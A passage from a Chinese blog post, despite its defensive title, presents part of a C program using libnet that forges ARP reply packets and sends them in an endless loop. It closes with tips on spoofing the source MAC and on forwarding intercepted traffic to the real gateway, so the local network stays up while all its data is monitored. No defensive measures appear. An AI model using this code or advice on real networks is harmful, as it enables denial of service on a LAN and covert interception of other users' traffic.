Linux使用libnet实现ARP攻击脚本原理分析以防被攻击

2019-10-14 21:08:23于丽

  (u_int8_t *)&source_hardware,
  ETHERTYPE_ARP,
  NULL,
  0,
  l,
  0
  );
 i = 0;
 while(1){
  packet_size = libnet_write(l);  //发送构造的ARP数据包
  usleep(10);
  i++;
 }
 printf("数据包长度为:%dn",packet_size);
 libnet_destroy(l);
 return 0;
}

目标MAC为广播地址,全0xff就行,源MAC地址可以为本机MAC或者随便伪造的MAC(在程序中获取本机MAC可用ioctl函数,最近在写DDOS攻击程序就是用ioctl获取本机MAC和IP的),注意ARP包类型为ARPOP_REPLY(应答包)。
如果不想弄断网,只进行欺骗的话,数据发送过来之后,要进行转发到正确的网关,这样就保证内网网络正常,而且所有数据都被监听了